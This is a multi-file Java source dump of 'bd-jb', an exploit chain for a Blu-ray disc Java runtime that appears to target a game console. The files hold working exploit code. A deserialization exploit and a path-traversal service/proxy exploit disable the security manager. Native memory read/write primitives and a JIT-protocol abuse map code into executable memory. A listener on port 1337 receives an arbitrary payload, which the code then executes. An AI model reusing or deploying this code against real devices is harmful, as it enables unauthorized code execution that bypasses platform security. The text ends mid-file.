int memcmp(long s1, long s2, long n) {
|
||||||
|
for (int i = 0; i < n; i++) {
|
||||||
|
byte b1 = read8(s1 + i);
|
||||||
|
byte b2 = read8(s2 + i);
|
||||||
|
if (b1 != b2) {
|
||||||
|
return (int) b1 - (int) b2;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int memcmp(long s1, byte[] s2, long n) {
|
||||||
|
for (int i = 0; i < n; i++) {
|
||||||
|
byte b1 = read8(s1 + i);
|
||||||
|
byte b2 = s2[i];
|
||||||
|
if (b1 != b2) {
|
||||||
|
return (int) b1 - (int) b2;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int memcmp(byte[] s1, long s2, long n) {
|
||||||
|
return memcmp(s2, s1, n);
|
||||||
|
}
|
||||||
|
|
||||||
|
int strcmp(long s1, long s2) {
|
||||||
|
int i = 0;
|
||||||
|
while (true) {
|
||||||
|
byte b1 = read8(s1 + i);
|
||||||
|
byte b2 = read8(s2 + i);
|
||||||
|
if (b1 != b2) {
|
||||||
|
return (int) b1 - (int) b2;
|
||||||
|
}
|
||||||
|
if (b1 == (byte) 0 && b2 == (byte) 0) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int strcmp(long s1, String s2) {
|
||||||
|
byte[] bytes = toCBytes(s2);
|
||||||
|
int i = 0;
|
||||||
|
while (true) {
|
||||||
|
byte b1 = read8(s1 + i);
|
||||||
|
byte b2 = bytes[i];
|
||||||
|
if (b1 != b2) {
|
||||||
|
return (int) b1 - (int) b2;
|
||||||
|
}
|
||||||
|
if (b1 == (byte) 0 && b2 == (byte) 0) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int strcmp(String s1, long s2) {
|
||||||
|
return strcmp(s2, s1);
|
||||||
|
}
|
||||||
|
|
||||||
|
long strcpy(long dest, long src) {
|
||||||
|
int i = 0;
|
||||||
|
while (true) {
|
||||||
|
byte ch = read8(src + i);
|
||||||
|
write8(dest + i, ch);
|
||||||
|
if (ch == (byte) 0) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
return dest;
|
||||||
|
}
|
||||||
|
|
||||||
|
long strcpy(long dest, String src) {
|
||||||
|
byte[] bytes = toCBytes(src);
|
||||||
|
int i = 0;
|
||||||
|
while (true) {
|
||||||
|
byte ch = bytes[i];
|
||||||
|
write8(dest + i, ch);
|
||||||
|
if (ch == (byte) 0) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
return dest;
|
||||||
|
}
|
||||||
|
|
||||||
|
String readString(long src, int n) {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
int i = 0;
|
||||||
|
while (true) {
|
||||||
|
byte ch = read8(src + i);
|
||||||
|
if (ch == (byte) 0 || i == n) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
outputStream.write(new byte[] {ch}, 0, 1);
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
return outputStream.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
String readString(long src) {
|
||||||
|
return readString(src, -1);
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] toCBytes(String str) {
|
||||||
|
byte[] bytes = new byte[str.length() + 1];
|
||||||
|
System.arraycopy(str.getBytes(), 0, bytes, 0, str.length());
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
private final class Call {}
|
||||||
|
}
|
87
com/bdjb/Exploit.java
Normal file
87
com/bdjb/Exploit.java
Normal file
@ -0,0 +1,87 @@
|
|||||||
|
/*
|
||||||
|
* Copyright (C) 2021 Andy Nguyen
|
||||||
|
*
|
||||||
|
* This software may be modified and distributed under the terms
|
||||||
|
* of the MIT license. See the LICENSE file for details.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package com.bdjb;
|
||||||
|
|
||||||
|
import java.io.FileOutputStream;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.net.Socket;
|
||||||
|
import java.net.ServerSocket;
|
||||||
|
|
||||||
|
class Exploit implements Runnable {
|
||||||
|
static void init() {
|
||||||
|
Screen.println("[+] bd-jb by theflow");
|
||||||
|
|
||||||
|
Screen.println("[*] Disabling security manager...");
|
||||||
|
|
||||||
|
ExploitInterface[] exploits =
|
||||||
|
new ExploitInterface[] {new ExploitUserPrefsImpl(), new ExploitServiceProxyImpl()};
|
||||||
|
|
||||||
|
for (int i = 0; i < exploits.length; i++) {
|
||||||
|
try {
|
||||||
|
exploits[i].trigger();
|
||||||
|
if (System.getSecurityManager() == null) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (System.getSecurityManager() != null) {
|
||||||
|
Screen.println("[-] Error could not disable security manager.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void start() {
|
||||||
|
new Thread(new Exploit()).start();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void run() {
|
||||||
|
if (System.getSecurityManager() != null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
Screen.println("[*] Installing native API...");
|
||||||
|
API api = API.getInstance();
|
||||||
|
|
||||||
|
Screen.println("[*] Enabling JIT...");
|
||||||
|
JIT jit = JIT.getInstance();
|
||||||
|
|
||||||
|
Screen.println("[*] Waiting for payload...");
|
||||||
|
|
||||||
|
ServerSocket serverSocket = new ServerSocket(1337);
|
||||||
|
Socket socket = serverSocket.accept();
|
||||||
|
|
||||||
|
Screen.println("[*] Downloading payload...");
|
||||||
|
|
||||||
|
InputStream inputStream = socket.getInputStream();
|
||||||
|
OutputStream outputStream = new FileOutputStream("/OS/HDD/download0/mnt_ada/payload.bin");
|
||||||
|
|
||||||
|
byte[] buf = new byte[8192];
|
||||||
|
int read;
|
||||||
|
while ((read = inputStream.read(buf)) > 0) {
|
||||||
|
outputStream.write(buf, 0, read);
|
||||||
|
}
|
||||||
|
|
||||||
|
outputStream.close();
|
||||||
|
inputStream.close();
|
||||||
|
|
||||||
|
socket.close();
|
||||||
|
|
||||||
|
Screen.println("[*] Executing payload...");
|
||||||
|
long sceKernelDlsym = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, "sceKernelDlsym");
|
||||||
|
long payload = jit.mapPayload("/OS/HDD/download0/mnt_ada/payload.bin");
|
||||||
|
int ret = (int) api.call(payload, sceKernelDlsym);
|
||||||
|
Screen.println("[+] Result: " + Integer.toHexString(ret));
|
||||||
|
} catch (Exception e) {
|
||||||
|
Screen.println("[-] Error: " + e.getCause());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
12
com/bdjb/ExploitInterface.java
Normal file
12
com/bdjb/ExploitInterface.java
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* Copyright (C) 2021 Andy Nguyen
|
||||||
|
*
|
||||||
|
* This software may be modified and distributed under the terms
|
||||||
|
* of the MIT license. See the LICENSE file for details.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package com.bdjb;
|
||||||
|
|
||||||
|
interface ExploitInterface {
|
||||||
|
public void trigger() throws Exception;
|
||||||
|
}
|
60
com/bdjb/ExploitServiceProxyImpl.java
Normal file
60
com/bdjb/ExploitServiceProxyImpl.java
Normal file
@ -0,0 +1,60 @@
|
|||||||
|
/*
|
||||||
|
* Copyright (C) 2021 Andy Nguyen
|
||||||
|
*
|
||||||
|
* This software may be modified and distributed under the terms
|
||||||
|
* of the MIT license. See the LICENSE file for details.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package com.bdjb;
|
||||||
|
|
||||||
|
import java.io.FileOutputStream;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLClassLoader;
|
||||||
|
import java.security.Security;
|
||||||
|
import java.security.Provider;
|
||||||
|
|
||||||
|
/** Implementation of the service+proxy exploit. */
|
||||||
|
class ExploitServiceProxyImpl implements ExploitInterface {
|
||||||
|
private static final String SERVICE_CLASS_NAME = "com.oracle.security.Service";
|
||||||
|
|
||||||
|
private static final String NEW_INSTANCE_METHOD_NAME = "newInstance";
|
||||||
|
private static final String NEW_INSTANCE_METHOD_SIGNATURE =
|
||||||
|
"(Ljava/lang/Object;)Ljava/lang/Object;";
|
||||||
|
|
||||||
|
private static final String JAR_URL =
|
||||||
|
"file:///app0/bdjstack/lib/ext/../../../../disc/BDMV/JAR/00000.jar";
|
||||||
|
|
||||||
|
private static final String PAYLOAD_CLASS_NAME = "com.bdjb.Payload";
|
||||||
|
|
||||||
|
public void trigger() throws Exception {
|
||||||
|
// Throw exception if class does not exist.
|
||||||
|
Class.forName(SERVICE_CLASS_NAME);
|
||||||
|
|
||||||
|
IxcProxyImpl proxy = IxcProxyImpl.getInstance();
|
||||||
|
|
||||||
|
// Prepare service object with the class to be instantiated.
|
||||||
|
Provider[] providers = Security.getProviders();
|
||||||
|
ServiceImpl service =
|
||||||
|
new ServiceImpl(
|
||||||
|
providers[0], "exploit", "exploit", URLClassLoader.class.getName(), null, null);
|
||||||
|
ProviderAccessorImpl providerAccessor = new ProviderAccessorImpl(providers);
|
||||||
|
providerAccessor.putService(providers[0], service);
|
||||||
|
providerAccessor.setProviderAccessor();
|
||||||
|
|
||||||
|
// Instantiate the URLClassLoader class with privileges and a vulnerable path.
|
||||||
|
URL[] urls = new URL[] {new URL(JAR_URL)};
|
||||||
|
URLClassLoader urlClassLoader =
|
||||||
|
(URLClassLoader)
|
||||||
|
proxy.invokeMethod(
|
||||||
|
service,
|
||||||
|
NEW_INSTANCE_METHOD_NAME,
|
||||||
|
NEW_INSTANCE_METHOD_SIGNATURE,
|
||||||
|
new Object[] {urls});
|
||||||
|
|
||||||
|
// Instantiate the payload class with all permissions to disable the security manager.
|
||||||
|
Class payloadClass = urlClassLoader.loadClass(PAYLOAD_CLASS_NAME);
|
||||||
|
payloadClass.newInstance();
|
||||||
|
}
|
||||||
|
}
|
56
com/bdjb/ExploitUserPrefsImpl.java
Normal file
56
com/bdjb/ExploitUserPrefsImpl.java
Normal file
@ -0,0 +1,56 @@
|
|||||||
|
/*
|
||||||
|
* Copyright (C) 2021 Andy Nguyen
|
||||||
|
*
|
||||||
|
* This software may be modified and distributed under the terms
|
||||||
|
* of the MIT license. See the LICENSE file for details.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package com.bdjb;
|
||||||
|
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.ObjectOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.FileOutputStream;
|
||||||
|
import org.havi.ui.HSceneFactory;
|
||||||
|
|
||||||
|
/** Implementation of the userprefs deserialization exploit. */
|
||||||
|
class ExploitUserPrefsImpl implements ExploitInterface {
|
||||||
|
private static final String MNT_ADA_USERPREFS = "/OS/HDD/download0/mnt_ada/userprefs";
|
||||||
|
|
||||||
|
private static final String PAYLOAD_CLASS_LOADER_SER = "/com/bdjb/PayloadClassLoader.ser";
|
||||||
|
|
||||||
|
public void trigger() throws Exception {
|
||||||
|
try {
|
||||||
|
// Overwrite userprefs with a serialized PayloadClassLoader.
|
||||||
|
InputStream inputStream = getClass().getResourceAsStream(PAYLOAD_CLASS_LOADER_SER);
|
||||||
|
OutputStream outputStream = new FileOutputStream(MNT_ADA_USERPREFS);
|
||||||
|
|
||||||
|
byte[] buf = new byte[8192];
|
||||||
|
int read;
|
||||||
|
while ((read = inputStream.read(buf)) > 0) {
|
||||||
|
outputStream.write(buf, 0, read);
|
||||||
|
}
|
||||||
|
|
||||||
|
outputStream.close();
|
||||||
|
inputStream.close();
|
||||||
|
|
||||||
|
// Trigger deserialization vulnerability.
|
||||||
|
try {
|
||||||
|
HSceneFactory.getInstance().getDefaultHScene();
|
||||||
|
} catch (ClassCastException e) {
|
||||||
|
// Exception expected.
|
||||||
|
|
||||||
|
// Instantiate the payload class.
|
||||||
|
PayloadClassLoader.getInstance().newPayload();
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
// Restore userprefs file.
|
||||||
|
String[][] preferences = new String[9][];
|
||||||
|
preferences[3] = new String[] {"26"};
|
||||||
|
ObjectOutputStream outputStream =
|
||||||
|
new ObjectOutputStream(new FileOutputStream(MNT_ADA_USERPREFS));
|
||||||
|
outputStream.writeObject(preferences);
|
||||||
|
outputStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
45
com/bdjb/ExploitXlet.java
Normal file
45
com/bdjb/ExploitXlet.java
Normal file
@ -0,0 +1,45 @@
|
|||||||
|
/*
|
||||||
|
* Copyright (C) 2021 Andy Nguyen
|
||||||
|
*
|
||||||
|
* This software may be modified and distributed under the terms
|
||||||
|
* of the MIT license. See the LICENSE file for details.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package com.bdjb;
|
||||||
|
|
||||||
|
import java.awt.BorderLayout;
|
||||||
|
import javax.tv.xlet.Xlet;
|
||||||
|
import javax.tv.xlet.XletContext;
|
||||||
|
import org.havi.ui.HScene;
|
||||||
|
import org.havi.ui.HSceneFactory;
|
||||||
|
|
||||||
|
public class ExploitXlet implements Xlet {
|
||||||
|
private HScene scene;
|
||||||
|
private Screen screen;
|
||||||
|
|
||||||
|
public void initXlet(XletContext context) {
|
||||||
|
Exploit.init();
|
||||||
|
|
||||||
|
screen = Screen.getInstance();
|
||||||
|
screen.setSize(1920, 1080); // BD screen size
|
||||||
|
|
||||||
|
scene = HSceneFactory.getInstance().getDefaultHScene();
|
||||||
|
scene.add(screen, BorderLayout.CENTER);
|
||||||
|
scene.validate();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void startXlet() {
|
||||||
|
screen.setVisible(true);
|
||||||
|
scene.setVisible(true);
|
||||||
|
Exploit.start();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void pauseXlet() {
|
||||||
|
screen.setVisible(false);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void destroyXlet(boolean unconditional) {
|
||||||
|
scene.remove(screen);
|
||||||
|
scene = null;
|
||||||
|
}
|
||||||
|
}
|
50
com/bdjb/IxcProxyImpl.java
Normal file
50
com/bdjb/IxcProxyImpl.java
Normal file
@ -0,0 +1,50 @@
|
|||||||
|
/*
|
||||||
|
* Copyright (C) 2021 Andy Nguyen
|
||||||
|
*
|
||||||
|
* This software may be modified and distributed under the terms
|
||||||
|
* of the MIT license. See the LICENSE file for details.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package com.bdjb;
|
||||||
|
|
||||||
|
import com.sony.gemstack.core.CoreAppContext;
|
||||||
|
import com.sony.gemstack.core.CoreIxcClassLoader;
|
||||||
|
import com.sony.gemstack.org.dvb.io.ixc.IxcProxy;
|
||||||
|
import java.rmi.RemoteException;
|
||||||
|
|
||||||
|
/** IxcProxy implementation that allows certain public methods to be invoked with privileges. */
|
||||||
|
class IxcProxyImpl extends IxcProxy {
|
||||||
|
private static IxcProxyImpl instance;
|
||||||
|
|
||||||
|
private Object remote;
|
||||||
|
|
||||||
|
private IxcProxyImpl(CoreIxcClassLoader localClassLoader, CoreIxcClassLoader remoteClassLoader) {
|
||||||
|
super(localClassLoader, remoteClassLoader);
|
||||||
|
}
|
||||||
|
|
||||||
|
static synchronized IxcProxyImpl getInstance() {
|
||||||
|
if (instance == null) {
|
||||||
|
CoreIxcClassLoader coreIxcClassLoader = CoreAppContext.getContext().getIxcClassLoader();
|
||||||
|
instance = new IxcProxyImpl(coreIxcClassLoader, coreIxcClassLoader);
|
||||||
|
}
|
||||||
|
return instance;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object getRemote() {
|
||||||
|
return remote;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void forgetRemote() {}
|
||||||
|
|
||||||
|
/** Override to avoid serializing the return object. */
|
||||||
|
protected Object replaceObject(Object obj, CoreIxcClassLoader coreIxcClassLoader)
|
||||||
|
throws RemoteException {
|
||||||
|
return obj;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object invokeMethod(Object obj, String name, String signature, Object[] args)
|
||||||
|
throws Exception {
|
||||||
|
this.remote = obj;
|
||||||
|
return super.invokeMethod(args, name, signature);
|
||||||
|
}
|
||||||
|
}
|
160
com/bdjb/JIT.java
Normal file
160
com/bdjb/JIT.java
Normal file
@ -0,0 +1,160 @@
|
|||||||
|
/*
|
||||||
|
* Copyright (C) 2021 Andy Nguyen
|
||||||
|
*
|
||||||
|
* This software may be modified and distributed under the terms
|
||||||
|
* of the MIT license. See the LICENSE file for details.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package com.bdjb;
|
||||||
|
|
||||||
|
import java.io.RandomAccessFile;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* JIT class that exploits a vulnerability in the runtime-compiler protocol to map payloads to
|
||||||
|
* executable memory.
|
||||||
|
*/
|
||||||
|
final class JIT {
|
||||||
|
static final int BDJ_MODULE_HANDLE = 0;
|
||||||
|
|
||||||
|
static final int MAX_JIT_SIZE = 24 * 1024 * 1024; // Actually max is 30MB, but let's be safe.
|
||||||
|
static final int PAGE_SIZE = 0x4000;
|
||||||
|
static final int ALIGNMENT = 0x100000;
|
||||||
|
|
||||||
|
private static final int CHUNK_SIZE = 0x30;
|
||||||
|
|
||||||
|
private static final int SCE_KERNEL_MODULE_INFO_SIZE = 0x160;
|
||||||
|
|
||||||
|
private static final int COMPILER_AGENT_REQUEST_SIZE = 0x58;
|
||||||
|
|
||||||
|
private static final byte ACK_MAGIC_NUMBER = (byte) 0xAA;
|
||||||
|
|
||||||
|
private static final byte[] BUFFER_BLOB_CREATE_SEQ = {
|
||||||
|
(byte) 0x89, (byte) 0xF8, (byte) 0x49, (byte) 0x8B, (byte) 0x0F
|
||||||
|
};
|
||||||
|
|
||||||
|
private static final byte[] COMPILER_AGENT_SENDER_THREAD_SEQ = {
|
||||||
|
(byte) 0x4C, (byte) 0x8B, (byte) 0x70, (byte) 0x08, (byte) 0x41
|
||||||
|
};
|
||||||
|
|
||||||
|
private static final String SCE_KERNEL_GET_MODULE_INFO_SYMBOL = "sceKernelGetModuleInfo";
|
||||||
|
private static final String WRITE_SYMBOL = "write";
|
||||||
|
private static final String READ_SYMBOL = "read";
|
||||||
|
|
||||||
|
private static JIT instance;
|
||||||
|
|
||||||
|
private final API api;
|
||||||
|
|
||||||
|
private long sceKernelGetModuleInfo;
|
||||||
|
private long read;
|
||||||
|
private long write;
|
||||||
|
private long BufferBlob__create;
|
||||||
|
|
||||||
|
private int compilerAgentSocket;
|
||||||
|
|
||||||
|
private JIT() throws Exception {
|
||||||
|
this.api = API.getInstance();
|
||||||
|
this.init();
|
||||||
|
}
|
||||||
|
|
||||||
|
static synchronized JIT getInstance() throws Exception {
|
||||||
|
if (instance == null) {
|
||||||
|
instance = new JIT();
|
||||||
|
}
|
||||||
|
return instance;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void init() {
|
||||||
|
sceKernelGetModuleInfo =
|
||||||
|
api.dlsym(API.LIBKERNEL_MODULE_HANDLE, SCE_KERNEL_GET_MODULE_INFO_SYMBOL);
|
||||||
|
read = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, READ_SYMBOL);
|
||||||
|
write = api.dlsym(API.LIBKERNEL_MODULE_HANDLE, WRITE_SYMBOL);
|
||||||
|
|
||||||
|
if (sceKernelGetModuleInfo == 0 || read == 0 || write == 0) {
|
||||||
|
throw new IllegalStateException("Symbols could not be found.");
|
||||||
|
}
|
||||||
|
|
||||||
|
long modinfo = api.malloc(SCE_KERNEL_MODULE_INFO_SIZE);
|
||||||
|
api.memset(modinfo, 0, SCE_KERNEL_MODULE_INFO_SIZE);
|
||||||
|
api.write64(modinfo + 0x00, SCE_KERNEL_MODULE_INFO_SIZE);
|
||||||
|
if (api.call(sceKernelGetModuleInfo, BDJ_MODULE_HANDLE, modinfo) != 0) {
|
||||||
|
throw new IllegalStateException("sceKernelGetModuleInfo failed.");
|
||||||
|
}
|
||||||
|
|
||||||
|
long bdjBase = api.read64(modinfo + 0x108);
|
||||||
|
long bdjSize = api.read32(modinfo + 0x110);
|
||||||
|
|
||||||
|
api.free(modinfo);
|
||||||
|
|
||||||
|
int i = 0;
|
||||||
|
while (i < bdjSize
|
||||||
|
&& api.memcmp(bdjBase + i, BUFFER_BLOB_CREATE_SEQ, BUFFER_BLOB_CREATE_SEQ.length) != 0) {
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
if (i == bdjSize) {
|
||||||
|
throw new IllegalStateException("BufferBlob::create function could not be found.");
|
||||||
|
}
|
||||||
|
BufferBlob__create = bdjBase + i - 0x21;
|
||||||
|
|
||||||
|
i = 0;
|
||||||
|
while (i < bdjSize
|
||||||
|
&& api.memcmp(
|
||||||
|
bdjBase + i,
|
||||||
|
COMPILER_AGENT_SENDER_THREAD_SEQ,
|
||||||
|
COMPILER_AGENT_SENDER_THREAD_SEQ.length)
|
||||||
|
!= 0) {
|
||||||
|
i++;
|
||||||
|
}
|
||||||
|
if (i == bdjSize) {
|
||||||
|
throw new IllegalStateException("Compiler agent socket could not be found.");
|
||||||
|
}
|
||||||
|
long compilerAgentSocketOpcode = bdjBase + i - 0x10;
|
||||||
|
compilerAgentSocket =
|
||||||
|
api.read32(compilerAgentSocketOpcode + api.read32(compilerAgentSocketOpcode + 0x3) + 0x7);
|
||||||
|
}
|
||||||
|
|
||||||
|
long mapPayload(String path) throws Exception {
|
||||||
|
RandomAccessFile file = new RandomAccessFile(path, "r");
|
||||||
|
|
||||||
|
// TODO: Currently we just use maximum size so that the address is predictable.
|
||||||
|
long size = MAX_JIT_SIZE;
|
||||||
|
// long size = file.length() + 0x88 + ALIGNMENT - 1;
|
||||||
|
// if (size >= MAX_JIT_SIZE) {
|
||||||
|
// throw new IllegalArgumentException("Payload is too big.");
|
||||||
|
// }
|
||||||
|
|
||||||
|
long name = api.malloc(4);
|
||||||
|
api.strcpy(name, "jit");
|
||||||
|
long blob = api.call(BufferBlob__create, name, size);
|
||||||
|
long code = blob + api.read32(blob + 0x20);
|
||||||
|
api.free(name);
|
||||||
|
|
||||||
|
long address = (code + ALIGNMENT - 1) & ~(ALIGNMENT - 1);
|
||||||
|
|
||||||
|
long request = api.malloc(COMPILER_AGENT_REQUEST_SIZE);
|
||||||
|
long response = api.malloc(API.INT8_SIZE);
|
||||||
|
|
||||||
|
for (long i = 0; i < file.length(); i += CHUNK_SIZE) {
|
||||||
|
byte[] chunk = new byte[CHUNK_SIZE];
|
||||||
|
|
||||||
|
file.seek(i);
|
||||||
|
file.read(chunk, 0, (int) Math.min(file.length() - i, CHUNK_SIZE));
|
||||||
|
|
||||||
|
api.memset(request, 0, COMPILER_AGENT_REQUEST_SIZE);
|
||||||
|
api.memcpy(request + 0x00, chunk, CHUNK_SIZE);
|
||||||
|
api.write64(request + 0x38, address + i - 0x28);
|
||||||
|
api.call(write, compilerAgentSocket, request, COMPILER_AGENT_REQUEST_SIZE);
|
||||||
|
|
||||||
|
api.write8(response, (byte) 0);
|
||||||
|
api.call(read, compilerAgentSocket, response, API.INT8_SIZE);
|
||||||
|
|
||||||
|
if (api.read8(response) != ACK_MAGIC_NUMBER) {
|
||||||
|
throw new IllegalStateException("Wrong compiler response.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
api.free(response);
|
||||||
|
api.free(request);
|
||||||
|
|
||||||
|
return address;
|
||||||
|
}
|
||||||
|
}
|
24
com/bdjb/Payload.java
Normal file
24
com/bdjb/Payload.java
Normal file
@ -0,0 +1,24 @@
|
|||||||
|
/*
|
||||||
|
* Copyright (C) 2021 Andy Nguyen
|
||||||
|
*
|
||||||
|
* This software may be modified and distributed under the terms
|
||||||
|
* of the MIT license. See the LICENSE file for details.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package com.bdjb;
|
||||||
|
|
||||||
|
import java.security.AccessController;
|
||||||
|
import java.security.PrivilegedActionException;
|
||||||
|
import java.security.PrivilegedExceptionAction;
|
||||||
|
|
||||||
|
/** Payload class that is loaded with all permissions in order to disable the security manager. */
|
||||||
|
public class Payload implements PrivilegedExceptionAction {
|
||||||
|
public Payload() throws PrivilegedActionException {
|
||||||
|
AccessController.doPrivileged(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Object run() throws Exception {
|
||||||
|
System.setSecurityManager(null);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
58
com/bdjb/PayloadClassLoader.java
Normal file
58
com/bdjb/PayloadClassLoader.java
Normal file
@ -0,0 +1,58 @@
|
|||||||
|
/*
|
||||||
|
* Copyright (C) 2021 Andy Nguyen
|
||||||
|
*
|
||||||
|
* This software may be modified and distributed under the terms
|
||||||
|
* of the MIT license. See the LICENSE file for details.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package com.bdjb;
|
||||||
|
|
||||||
|
import java.io.Serializable;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.ObjectOutputStream;
|
||||||
|
import java.io.ObjectInputStream;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
import java.security.Permissions;
|
||||||
|
import java.security.AllPermission;
|
||||||
|
|
||||||
|
/** ClassLoader subclass that is instantiated on deserialization. */
|
||||||
|
class PayloadClassLoader extends ClassLoader implements Serializable {
|
||||||
|
private static final long serialVersionUID = 0x4141414141414141L;
|
||||||
|
|
||||||
|
private static final String PAYLOAD_CLASS_FILE = "/com/bdjb/Payload.class";
|
||||||
|
private static final String PAYLOAD_CLASS_NAME = "com.bdjb.Payload";
|
||||||
|
|
||||||
|
private static PayloadClassLoader instance;
|
||||||
|
|
||||||
|
static PayloadClassLoader getInstance() {
|
||||||
|
return instance;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void readObject(ObjectInputStream stream) {
|
||||||
|
instance = this;
|
||||||
|
}
|
||||||
|
|
||||||
|
void newPayload() throws Exception {
|
||||||
|
InputStream inputStream = getClass().getResourceAsStream(PAYLOAD_CLASS_FILE);
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
|
||||||
|
byte[] buf = new byte[8192];
|
||||||
|
int read;
|
||||||
|
while ((read = inputStream.read(buf)) > 0) {
|
||||||
|
outputStream.write(buf, 0, read);
|
||||||
|
}
|
||||||
|
|
||||||
|
inputStream.close();
|
||||||
|
|
||||||
|
byte[] payload = outputStream.toByteArray();
|
||||||
|
|
||||||
|
// Instantiate the payload class with all permissions to disable the security manager.
|
||||||
|
Permissions permissions = new Permissions();
|
||||||
|
permissions.add(new AllPermission());
|
||||||
|
ProtectionDomain protectionDomain = new ProtectionDomain(null, permissions);
|
||||||
|
Class payloadClass =
|
||||||
|
defineClass(PAYLOAD_CLASS_NAME, payload, 0, payload.length, protectionDomain);
|
||||||
|
payloadClass.newInstance();
|
||||||
|
}
|
||||||
|
}
|
27
com/bdjb/PayloadClassLoaderSerializer.java
Normal file
27
com/bdjb/PayloadClassLoaderSerializer.java
Normal file
@ -0,0 +1,27 @@
|
|||||||
|
/*
|
||||||
|
* Copyright (C) 2021 Andy Nguyen
|
||||||
|
*
|
||||||
|
* This software may be modified and distributed under the terms
|
||||||
|
* of the MIT license. See the LICENSE file for details.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package com.bdjb;
|
||||||
|
|
||||||
|
import java.io.FileInputStream;
|
||||||
|
import java.io.FileOutputStream;
|
||||||
|
import java.io.ObjectInputStream;
|
||||||
|
import java.io.ObjectOutputStream;
|
||||||
|
|
||||||
|
/** Simple util to create a serialized object of the PayloadClassLoader class. */
|
||||||
|
class PayloadClassLoaderSerializer {
|
||||||
|
public static void main(String[] args) {
|
||||||
|
try {
|
||||||
|
ObjectOutputStream objectOutputStream =
|
||||||
|
new ObjectOutputStream(new FileOutputStream("com/bdjb/PayloadClassLoader.ser"));
|
||||||
|
objectOutputStream.writeObject(new PayloadClassLoader());
|
||||||
|
objectOutputStream.close();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
65
com/bdjb/ProviderAccessorImpl.java
Normal file
65
com/bdjb/ProviderAccessorImpl.java
Normal file
@ -0,0 +1,65 @@
|
|||||||
|
/*
|
||||||
|
* Copyright (C) 2021 Andy Nguyen
|
||||||
|
*
|
||||||
|
* This software may be modified and distributed under the terms
|
||||||
|
* of the MIT license. See the LICENSE file for details.
|
||||||
|
*/
|
||||||
|
|
||||||
|
package com.bdjb;
|
||||||
|
|
||||||
|
import com.oracle.ProviderAccessor;
|
||||||
|
import com.oracle.ProviderAdapter;
|
||||||
|
import com.oracle.security.Service;
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.Iterator;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.security.Provider;
|
||||||
|
import java.security.Security;
|
||||||
|
|
||||||
|
/** ProviderAccessor implementation that allows arbitrary services to be added. */
|
||||||
|
class ProviderAccessorImpl implements ProviderAccessor {
|
||||||
|
private final HashMap providerServices = new HashMap();
|
||||||
|
|
||||||
|
ProviderAccessorImpl(Provider[] providers) {
|
||||||
|
this.copyProviderServices(providers);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void copyProviderServices(Provider[] providers) {
|
||||||
|
